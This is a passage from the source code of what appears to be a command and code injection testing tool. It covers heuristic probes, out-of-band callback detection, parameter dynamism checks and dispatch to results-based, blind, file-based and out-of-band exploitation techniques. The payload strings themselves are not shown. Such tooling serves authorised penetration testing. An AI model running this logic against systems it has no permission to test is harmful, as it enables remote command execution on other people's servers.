is the only value it is given. + if check_parameter_in_http_header(check_parameter, place): + settings.CUSTOM_HEADER_NAME = check_parameter.title() + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + # The payload goes where the marker is, so whatever static text the header carries stays with + # it - searched for the value as it stood, the marker having just been taken out of it, the + # replacement matched nothing and the header went out carrying no payload at all. + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + return response, url + +""" +Announce what the heuristic found. One wording for every channel it can come back over, and for +either sink - which technique answered is the technique's business, not something to commit to +while still guessing. All the heuristic is entitled to add is what it happened to learn on the way, +which goes in the parenthesis its caller hands over. +""" +def announce_heuristic_finding(detail): + info_msg = "Heuristic (basic) test shows that " + info_msg += settings.CHECKING_PARAMETER + " might be injectable (" + detail + ")." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + +""" +Heuristic (basic) test for command injection +""" +""" +Whether the parameter's own value is needed to reach the sink, asked while the heuristic still holds +the payload that reached it. + +The value belongs to the target, and what the target does with it is what takes the time: an address +it pings answers in seconds where one it cannot resolve answers at once, and a scan sends hundreds of +requests before it is finished. The same question asked twice, once with the value and once with a +short random one, says whether any of that waiting buys anything. + +Asked here rather than once a technique is confirmed, which is where it was asked before: by then the +heuristics, every boundary and the whole timing model have been paid for at the slow value's price, +and only what came after could be made cheap. + +Nothing is assumed from it. The value is dropped only where the same marker comes back without it, +the sink having demonstrably run either way - and where the pass that follows confirms nothing at +all, the value is put back and the pass is made again, so no sink is lost to an optimisation. +""" +def probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place): + if settings.TESTABLE_VALUE_OPTIMIZED or not settings.TESTABLE_VALUE or settings.VALUE_SKIP_REFUSED: + return url + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + original_data, original_url, original_value = menu.options.data, url, settings.TESTABLE_VALUE + if in_data: + menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether the parameter's own value is required to reach the sink, by sending " + debug_msg += "the same payload with '" + placeholder + "' in place of '" + original_value + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + answered = False + try: + response, _ = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) + if type(response) is not bool and response is not None: + html_data = checks.process_page_content(response, action="decode") + answered = bool(re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)) + except Exception: + answered = False + if not answered: + menu.options.data = original_data + settings.TESTABLE_VALUE = original_value + return original_url + settings.TESTABLE_VALUE_OPTIMIZED = True + settings.TESTABLE_VALUE_STOOD_IN_FOR = original_value + settings.VALUE_SKIPPED_EARLY = (original_value, placeholder, original_url, original_data) + # Not recorded in the session here: what the sink answered is not yet what a technique confirmed, + # and a stand-in this run goes on to refuse would be left for the next one to replay. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The parameter's own value is not required to reach the sink, so it is skipped for faster requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return url + +def command_injection_heuristic_basic(url, http_request_method, check_parameter, place): + check_parameter = check_parameter.lstrip().rstrip() + checks.perform_payload_modification(payload="") + basic_payload_generator() + if menu.options.interpreter: + basic_payloads = settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS + else: + basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS + + basic_payloads = [x.replace(settings.RANDOM_STRING_GENERATOR, settings.SINGLE_WHITESPACE.strip()) for x in basic_payloads] + + """ + One shape per shell, and only the shape worth sending. + + The two payloads are the same question asked in each shell's own syntax, so which of them answers + is what names the shell. Where the operating system is already known - the banner said so, or + '--os' did - the other shape cannot execute, and sending it only doubles the requests. + """ + shaped = list(zip(basic_payloads, ("Unix-like", "Windows"))) + if settings.IDENTIFIED_TARGET_OS or menu.options.os: + wanted = "Windows" if settings.TARGET_OS == settings.OS.WINDOWS else "Unix-like" + shaped = [pair for pair in shaped if pair[1] == wanted] or shaped + + settings.RESULTS_BASED_STATE = True + try: + for whitespace in settings.WHITESPACES: + if not settings.IDENTIFIED_COMMAND_INJECTION: + for payload, shell_os in shaped: + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) + if type(response) is not bool and response is not None: + html_data = checks.process_page_content(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + checks.note_printer_that_answered(html_data) + # Asked while the payload that answered is still in hand, and before a technique has + # spent a single request at the slow value's price. + url = probe_skip_testable_value_early(url, http_request_method, check_parameter, payload, whitespace, place) + # The token the rest of the code compares against, and then what was really shown. + checks.set_target_os(shell_os) + # A payload that ran answers what the banner could not, so nothing need be asked. + settings.OS_IDENTIFICATION_PENDING = False + announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") + # A shell answering here says nothing about whether a string is also evaluated as + # code, so it settles the question only where the code injection sink was not asked + # for by name - otherwise every technique carrying it would skip itself, and the run + # would report "not injectable" without having sent one of their payloads. + if not menu.options.eval_sink: + settings.SKIP_CODE_INJECTIONS = True + elif not settings.COMMAND_SUGGESTED: + settings.COMMAND_SUGGESTED = True + """ + '--eval' names code injection, and naming it is what stops command injection from + being tested at all - so a shell answering here would otherwise be found, reported + and then left behind, with the run going on to look only for what it was told to. + + The option the user gave still wins by default: what is offered is dropping it, + and a run that is not being watched keeps the option it was started with. + """ + message = "The target answers as a command shell, so it is open to command injection as well. " + message += "Do you want to test for that instead (i.e. without the '--eval' option)? [y/N] " + if common.read_input(message, default="N", check_batch=True) in settings.CHOICE_YES: + menu.options.eval_sink = False + settings.SKIP_CODE_INJECTIONS = True + break + + settings.RESULTS_BASED_STATE = False + return url + + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Heuristic (basic) test over the out-of-band channel. + +The results-based test reads the sum back out of the response, so it is blind to exactly the points +'--oob' exists for. Without this, such a parameter is reported as probably not injectable - and with +'--smart' it would be skipped outright. +""" +def oob_heuristic_basic(url, http_request_method, check_parameter, place): + from src.core.techniques.oob import oob_payloads as oob_payloads + + channel = checks.init_oob_channel() + if channel is None: + return url + + # Both, unless the results-based test already settled which one it is - or the user has said so + # with '--os', which no heuristic of ours gets to overrule. + target_systems = (settings.OS.UNIX, settings.OS.WINDOWS) + if settings.IDENTIFIED_COMMAND_INJECTION or menu.options.os: + target_systems = (settings.TARGET_OS,) + + # Said once, because these payloads break the rule the tested ones keep to: they chain several + # separators and clients into one request, to spend one request rather than six on a yes/no. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Chaining all separators and clients into a single heuristic request." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + attempts = [] + for target_os in target_systems: + payload, probes = oob_payloads.heuristic_payload(channel, target_os) + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + heuristic_request(url, http_request_method, check_parameter, payload, settings.WHITESPACES[0], place) + attempts.append((target_os, probes)) + + # A name lookup beats an HTTPS round trip almost every time, so the client that answers first is + # nearly always the one least worth leading with. Once only a lookup has landed, hold the window + # open a little longer for an HTTP client rather than settling on the spot. + def _http_first(): + best = None + for target_os, probes in attempts: + for token, transport in probes: + if not channel.seen(token, protocol=oob_payloads.required_protocol(transport)): + continue + if oob_payloads.required_protocol(transport) == "http": + return (target_os, transport) + if best is None: + best = (target_os, transport) + return best + + channel.poll_now() + answered = None + deadline = time.time() + settings.OOB_TIMEOUT + while time.time() < deadline: + answered = _http_first() + if answered is not None: + if oob_payloads.required_protocol(answered[1]) == "http": + break + # Only a lookup so far - give an HTTP client a brief grace period to follow it in. + deadline = min(deadline, time.time() + settings.OOB_HTTP_GRACE) + # Asked for every round: the idle interval would hold the answer back for seconds after it lands. + channel.poll_now() + time.sleep(settings.OOB_WAIT_POLL_INTERVAL) + + if answered is None: + return url + + target_os, transport = answered + # The lookup came back, so the payload around it ran - and any HTTP client in that same payload + # has already had its chance on a boundary that works. Naming them here keeps the sweep from + # asking them again on every boundary it tries. + if oob_payloads.required_protocol(transport) == "dns": + silent = [candidate for _, probes in attempts for token, candidate in probes + if oob_payloads.required_protocol(candidate) == "http" and not channel.seen(token, protocol="http")] + settings.OOB_HEURISTIC_HTTP_SILENT = list(dict.fromkeys(silent)) + # Already identified means the results-based test got there first, so the interaction is not + # news - which client the target answered on still is, and the sweep leads with it. + already_identified = settings.IDENTIFIED_COMMAND_INJECTION + settings.IDENTIFIED_COMMAND_INJECTION = True + settings.OOB_HEURISTIC_TRANSPORT = transport + # A shell reaching out says nothing about whether a string is also evaluated as code, so it + # settles the question only where the code injection sink was not asked for by name - the + # technique carrying that sink reads this flag, and would otherwise skip itself over an answer + # given in the shell's own language, the way the results-based heuristic above already guards. + if not menu.options.eval_sink: + settings.SKIP_CODE_INJECTIONS = True + if already_identified: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target answered out-of-band over '" + transport + "'." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + return url + # Settled only where the client that answered belongs to one of them: a shared one says the + # command ran, not which shell ran it, and the sweep is better off still asking than led by a + # guess it would then build every payload on. + if not menu.options.os and oob_payloads.transport_identifies_os(transport): + settings.TARGET_OS = target_os + announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") + else: + announce_heuristic_finding("answered out-of-band over '" + transport + "'") + return url + +""" +Heuristic (basic) test for code injection warnings +""" +def code_injections_heuristic_basic(url, http_request_method, check_parameter, place): + check_parameter = check_parameter.lstrip().rstrip() + # What the probe answered with. A complaint from the interpreter names the language without + # naming a version, so the language is all there is to report in that case. + detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" + settings.EVAL_BASED_STATE = True + # A command-only tamper (e.g. 'printfoctal') was still compatible the last time dependencies were + # checked, before this probe's own eval syntax made it not - re-checked now, or it would corrupt + # these payloads into something no language reads back the way the probe needs. + if menu.options.tamper: + checks.tamper_scripts(stored_tamper_scripts=True) + try: + whitespace = settings.SINGLE_WHITESPACE + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE): + """ + A complaint is worth less than a version, so one does not end the search. + + Which boundary reaches the sink is what the sweep is for, and the ones that miss tend to make + the interpreter complain - so stopping at the first complaint reports the language and never + learns the version a later boundary would have answered with. A version ends it; a complaint + is remembered and the rest are tried. + """ + """ + Where no language was named, each supported one is probed with its own payloads. + + Nothing about the target says which language is evaluating the string, and a probe written for + one of them means nothing to another - so asking only the default answered for that language + and reported the parameter as not injectable for every other. + + Whichever language answers is left in force, so the techniques that follow speak the one the + heuristic found rather than starting the search over. + """ + if not menu.options.eval_sink or menu.options.eval_sink == settings.EVAL_ALL_LANGUAGES: + languages = settings.SUPPORTED_EVAL_LANGUAGES + # Whichever the target named for itself goes first - the others still follow, since a + # header says what runs the page, not what evaluates a string inside it. + if settings.IDENTIFIED_EVAL_LANGUAGE in languages: + languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple( + _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) + else: + languages = (settings.EVAL_GRAMMAR.NAME,) + # Which language's own probe answered. The sweep goes on past a complaint to look for a + # version, so the grammar left in force at the end is the last language tried rather than + # the one that answered, and the switch below would name that one instead. + answered_language = None + for language in languages: + settings.set_eval_grammar(language) + if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + for payload in settings.EVAL_PROBE_PAYLOADS: + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place) + if type(response) is not bool and response is not None: + html_data = checks.process_page_content(response, action="decode") + match = re.search(settings.EVAL_PROBE_REGEX, html_data) + if match: + detail = "identified " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" + settings.IDENTIFIED_EVAL_PROBE = True + answered_language = language + break + # A plain shell error (the probe reached a shell, not an interpreter) can still contain + # one of these words by coincidence - 'syntax error' reads the same complaint from + # 'sh' as it does from Perl. Where the response is one of those, the word is the + # shell's, not the language's, so it is not treated as evidence of an eval sink. + if not checks.extract_error_message(html_data): + baseline = settings.ORIGINAL_PAGE or "" + for warning in settings.EVAL_WARNINGS: + # A word the page was already carrying before anything was sent to it is the page's + # own - prose that happens to name an error reads exactly like one reported, and a + # page that explains itself ('..., a syntax error - ...') says it on every response + # whatever the probe was. What the probe caused is what is not there to begin with. + if warning in html_data and warning not in baseline: + settings.IDENTIFIED_WARNINGS = True + answered_language = language + detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" + break + if settings.IDENTIFIED_EVAL_PROBE: + break + + # Said once, whichever of the two the sweep came back with. + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: + # Pointed back at the language that answered, so the switch offered below and whatever runs + # next both speak the one the heuristic found. + if answered_language: + settings.set_eval_grammar(answered_language) + announce_heuristic_finding(detail) + # Code injection is tested only where it was asked for, so what the heuristic saw is + # named, the switch that would act on it is named too, and the run carries on testing + # for command injection either way. + if menu.options.eval_sink: + settings.SKIP_COMMAND_INJECTIONS = True + elif not settings.EVAL_SUGGESTED: + settings.EVAL_SUGGESTED = True + # The sweep already found which language answered, so the switch is offered naming it + # rather than sending the run back over every language to find it again. + language = settings.EVAL_GRAMMAR.NAME + message = "Do you want to test it for code injection (i.e. option '--eval=" + language + "')? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) in settings.CHOICE_YES: + menu.options.eval_sink = language + settings.SKIP_COMMAND_INJECTIONS = True + + settings.EVAL_BASED_STATE = False + # A command-only tamper dropped above for this probe's own eval syntax belongs back in play now + # - '--eval' was declined, or never came up, and whatever runs next is a command once again. + if menu.options.tamper: + checks.tamper_scripts(stored_tamper_scripts=True) + return url + + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +Run one technique via the given exploit() callable, updating its own state flag in settings - the shared skeleton behind the 4 functions below. +""" +""" +Run one attempt of an evaluation-sink technique per language. + +Nothing the target says identifies the language evaluating the string, so where '--eval' named none, +each supported one is tried in turn until one answers. Where it named one, that is the only one +tried. The grammar is left pointing at whichever language answered, so the exploitation that follows +speaks the same one the detection did. +""" +def _run_over_languages(exploit): + if menu.options.eval_sink != settings.EVAL_ALL_LANGUAGES: + return exploit() is not False + """ + A language the heuristic already recognised is the only one tried. + + Its probe came back with that language's own version, which is as much as a sweep here could + establish - and every language tried and rejected costs a full delay on the time-based technique. + """ + if settings.IDENTIFIED_EVAL_PROBE: + return exploit() is not False + languages = settings.SUPPORTED_EVAL_LANGUAGES + # Whichever the target named for itself goes first - the others still follow, since a header + # says what runs the page, not what evaluates a string inside it. + if settings.IDENTIFIED_EVAL_LANGUAGE in languages: + languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple( + _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) + for language in languages: + settings.set_eval_grammar(language) + if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if exploit() is not False: + return True + return False + +# Run one technique, and say it was skipped where it did not run. +def run_technique(injection_type, technique, state_name, skip_flag_name, tech_letter, exploit, eval_sink=False): + setattr(settings, state_name, None) + if not getattr(settings, skip_flag_name): + if checks.technique_selected(tech_letter, eval_sink): + setattr(settings, state_name, _run_over_languages(exploit) if eval_sink else exploit() is not False) + state = getattr(settings, state_name) + if state == None or getattr(settings, skip_flag_name): + checks.skipping_technique(technique, injection_type, state) + +""" +Check if it's exploitable via classic command injection technique. +""" +def results_based_command_injection_technique(url, timesec, filename, http_request_method): + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI + technique = settings.INJECTION_TECHNIQUE.RESULTS_BASED + # Prove the injection by what the response carries back. + def exploit(): + result = rb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result is not False: + settings.IDENTIFIED_COMMAND_INJECTION = True + settings.SKIP_CODE_INJECTIONS = True + return result + run_technique(injection_type, technique, "RESULTS_BASED_STATE", "SKIP_COMMAND_INJECTIONS", "r", exploit) + +""" +Check if it's exploitable via dynamic code evaluation technique. +""" +def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): + injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE + technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE + # Prove the code injection by what the response carries back. + def exploit(): + result = eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result is not False: + settings.SKIP_COMMAND_INJECTIONS = True + return result + run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "r", exploit, eval_sink=True) + +""" +Check if it's exploitable via boolean-based blind command injection technique. +""" +def boolean_based_technique(url, timesec, filename, http_request_method): + # The branch proves execution either way - what the sink changes is only whether the command the + # target branches on is written in the shell's language or in the one it evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.BOOLEAN_BASED + # Prove the injection by what the page says, where the target branches on the command it ran. + def exploit(): + result = bb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result is not False and not eval_sink: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + run_technique(injection_type, technique, "BOOLEAN_BASED_STATE", + "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS", "b", exploit, eval_sink=eval_sink) + +""" +Check if it's exploitable via time-based command injection technique. +""" +def timebased_technique(url, timesec, filename, http_request_method, url_time_response): + # The delay proves execution either way - what the sink changes is only whether the payload is + # written in the shell's language or in the one the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.TIME_BASED + # Prove the injection by how long the target takes to answer. + def exploit(): + result = tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + if result is not False and not eval_sink: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "TIME_BASED_STATE", skip_flag, "t", exploit, eval_sink=eval_sink) + +""" +Check if it's exploitable via file-based command injection technique. +""" +def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): + # The file proves execution either way - what the sink changes is only whether the command that + # fills it is reached through a shell or through the string the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.FILE_BASED + # Prove the injection by a file the target writes and then serves back. + def exploit(): + if settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED in settings.STORED_TECHNIQUES \ + and settings.INJECTION_TECHNIQUE.FILE_BASED not in settings.STORED_TECHNIQUES: + # Skip the writable-directory prompt when resuming, but still need a real tmp_path. + result = tfb_handler.exploitation(url, timesec, filename, checks.default_tmp_path(), http_request_method, url_time_response) + else: + result = fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) + if result is not False and not eval_sink: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "FILE_BASED_STATE", skip_flag, "f", exploit, eval_sink=eval_sink) + +""" +Check if it's exploitable via out-of-band technique. +""" +def oob_command_injection_technique(url, timesec, filename, http_request_method): + # The interaction proves execution either way - what the sink changes is only whether the command + # that reaches out is written in the shell's language or in the one the target evaluates. + eval_sink = bool(menu.options.eval_sink) + injection_type = settings.INJECTION_TYPE.BLIND_CE if eval_sink else settings.INJECTION_TYPE.BLIND + technique = settings.INJECTION_TECHNIQUE.OOB + # Prove the injection by the target reaching out to somewhere else. + def exploit(): + result = oob_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) + if result is not False and not eval_sink: + settings.IDENTIFIED_COMMAND_INJECTION = True + return result + # Carrying the evaluation sink, this technique is skipped by whatever skips code injection - not + # by the flag that skips command injection, which the code injection heuristic sets on its way past. + skip_flag = "SKIP_CODE_INJECTIONS" if eval_sink else "SKIP_COMMAND_INJECTIONS" + run_technique(injection_type, technique, "OOB_STATE", skip_flag, + settings.OOB_TECHNIQUE_LETTER, exploit, eval_sink=eval_sink) + +""" +Check parameter in HTTP header. +""" +def check_parameter_in_http_header(check_parameter, place): + inject_http_headers = False + # Answered from the place the parameter was dispatched from, never from what it is called: a + # field named after a header is still a field, and a header is one wherever its value came from. + if place in settings.HTTP_HEADER_PLACES: + if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: + inject_http_headers = True + else: + init_http_header_injection_status() + return inject_http_headers + +""" +Whether what a parameter does to the page is worth the request it takes to find out. + +Where the answer decides something, and where it explains something. '--skip-static' is the first: +it acts on the answer by leaving the parameter alone. The boolean-based technique is the second, +and was once left out of this on the grounds that no technique here reads a page by comparing it - +which is the one thing that technique does, telling its true from its false by how far two pages +differ. A parameter that changes no page at all has no such difference to give, so the whole +boundary matrix is spent on it and what gets reported is a target that is not injectable, for a +reason the run had already measured and said nothing about. +""" +def dynamism_worth_asking(): + return bool(menu.options.skip_static or + checks.technique_selected("b", eval_sink=bool(menu.options.eval_sink))) + +""" +Whether changing the parameter changes the response at all. + +The baseline both readings are taken against is the target's own and was taken when it was first +reached, so this costs the one request that puts something else in the parameter's place. Only +'--skip-static' skips on the answer; everything else is told and carries on. +""" +def check_parameter_dynamism(url, http_request_method, check_parameter): + if settings.LOAD_SESSION or not settings.TESTABLE_VALUE or not dynamism_worth_asking(): + return + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + + # Build the request, with the value carried wherever the parameter lives. + def build(header_name, option_value, value): + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None + request = _urllib.request.Request(url, data, method=http_request_method) + headers.do_check(request) + request.add_header(header_name, option_value.replace(marker, value)) + return request + + if settings.COOKIE_INJECTION and menu.options.cookie and marker in menu.options.cookie: + param_label = "Cookie parameter '" + check_parameter + "'" + fetch = lambda v: build(settings.COOKIE, menu.options.cookie, v) + elif settings.USER_AGENT_INJECTION and menu.options.agent and marker in menu.options.agent: + param_label = "User-Agent HTTP header" + fetch = lambda v: build(settings.USER_AGENT, menu.options.agent, v) + elif settings.REFERER_INJECTION and menu.options.referer and marker in menu.options.referer: + param_label = "Referer HTTP header" + fetch = lambda v: build(settings.REFERER, menu.options.referer, v) + elif settings.HOST_INJECTION and menu.options.host and marker in menu.options.host: + param_label = "Host HTTP header" + fetch = lambda v: build(settings.HOST, menu.options.host, v) + else: + in_data = bool(menu.options.data) and marker in menu.options.data + if not in_data and marker not in url: + return + param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" + # Fetch the URL with one value in place of the parameter's own. + def fetch(v): + if in_data: + data = menu.options.data.replace(marker, v) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(marker, v), method=http_request_method) + headers.do_check(request) + return request + + info_msg = "Testing if " + param_label + " is dynamic." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) + + # Sent the way every other request is, so the pacing, retries and error handling that hold for + # the scan hold here too. + def _body(value): + response = requests.get_request_response(fetch(value)) + if not response or isinstance(response, bool): + return None + try: + return checks.comparable_page(checks.process_page_content(response, action="decode")) + except Exception: + return None + + """ + The page as the target answers it with the value it was given, and how much it moves between two + such answers, are the target's own - not this parameter's. Both were taken once, when the target + was first reached, so what is left to ask here is what the page looks like with something else in + the parameter's place: one request, against a baseline every parameter shares. + """ + real_body = settings.ORIGINAL_PAGE_COMPARABLE or None + noise = settings.PAGE_NOISE_RATIO + if real_body is None: + real_body = _body(settings.TESTABLE_VALUE) + # The same value asked for twice: whatever differs between these two is the page moving on its + # own, and a parameter is only dynamic where it changes the response by more than that. + repeat_body = _body(settings.TESTABLE_VALUE) + if real_body is None or repeat_body is None: + return + noise = checks.page_ratio(real_body, repeat_body) + + placeholder_body = _body(placeholder) + if placeholder_body is None: + return + + changed = checks.page_ratio(real_body, placeholder_body) + if changed >= max(noise, settings.STABILITY_SIMILARITY_THRESHOLD): + warn_msg = param_label + " does not appear to be dynamic." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + # Said plainly, not held back for '-v': the run asked for this check, so its answer is news + # either way. + info_msg = param_label + " appears to be dynamic." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +""" +Replace the parameter value with a placeholder an earlier run already confirmed the payload through. + +Not decided here on how the target answers the placeholder on its own. The value is what the command +before the payload is given, so one the target was not answering on changes what that command does - +a hostname that does not resolve where the real one did, failing where it used to succeed. A +separator that chains on that command having succeeded then never fires, and one that chains on its +having failed fires where the real value would never have let it, so the finding is either missed +outright or is one that does not reproduce. Nothing available before the payload has an oracle tells +those apart: a value worth skipping at all is one the target spends time on, and that time is the +command's own. So the exchange is made after detection instead, where the boundary it was found on +can re-ask the question and the answer says whether the placeholder still carries it. +""" +def attempt_skip_testable_value(url, http_request_method, check_parameter): + if not settings.TESTABLE_VALUE or not settings.LOAD_SESSION: + return url + if any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, + settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + return url + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + in_data = bool(menu.options.data) and marker in menu.options.data + in_url = marker in url + if not in_data and not in_url: + return url + + # Confirmed on the run that stored it, through the boundary it was found on, so it is taken as it + # stands rather than asked about again. + stored_placeholder = session_handler.check_stored_testable_value(url, check_parameter, http_request_method) + if not stored_placeholder: + return url + if in_data: + menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, stored_placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE_STOOD_IN_FOR = settings.TESTABLE_VALUE + settings.TESTABLE_VALUE = stored_placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + return url + +""" +Proceed to the injection process for the appropriate parameter. +""" +def injection_process(url, check_parameter, http_request_method, filename, timesec, place): + # Every parameter starts with its value kept, whatever the one before it needed: the pass that + # replaces it is reached per parameter, and exploitation follows within this same call, so leaving + # the mode set would only decide how the parameters after this one are tested. + settings.REPLACE_VALUE = False + # Every parameter is asked the value question for itself: one that needed its value says nothing + # about the next, and a refusal carried over would have the next parameter pay the slow price too. + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = False + # Named with '--param-filter': a parameter is tested only where it travels in one of the places + # asked for, and nothing is said about the rest - naming them is saying which ones matter. + if settings.PARAM_FILTER_PLACES and str(place).upper() not in settings.PARAM_FILTER_PLACES: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping the '" + str(place) + "' parameter '" + str(check_parameter) + "', which '--param-filter' does not name." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return + # Matched with '--param-exclude', against the parameter's own name and against the place it + # travels in, either of which is enough to leave it alone. + if menu.options.param_exclude and (re.search(menu.options.param_exclude, str(check_parameter), re.I) or \ + re.search(menu.options.param_exclude, str(place), re.I)): + info_msg = "Skipping the parameter '" + str(check_parameter) + "', excluded with '--param-exclude'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + + settings.NOT_TESTABLE_PARAMETERS = False + reset_parameter_state() + # Bound here rather than where the techniques run: the parameter may be skipped before reaching + # them, and the loop over operating systems below reads this either way. + end_detection = False + + # False only where the check ran and the response never moved with the parameter - where it did + # not run, nothing was learned and the parameter is tested as it would have been. + """ + Recognised before the value can be swapped for a placeholder below: a value that has been thrown + away is one nothing can notice the encoding of. + + Where it is written in something, the request is rewritten to carry what it stands for, and the + writing back is done on the way out - so everything in between is testing the value the target + itself will read, rather than the envelope it arrived in. + """ + # What the value stands for, once whatever it is written in has been taken off it. + def read_value_as(description): + nonlocal url + """ + Read off the value the target reads, not the spelling the URL carries it in. + + A query string writes a base64 value's own padding as '%3D', so taken as it arrived the value + is not base64 at all and a parameter that carries one perfectly well is refused for not + carrying one. Writing it back out is already done on the unquoted value, so reading it in is + done the same way here. + """ + carried = 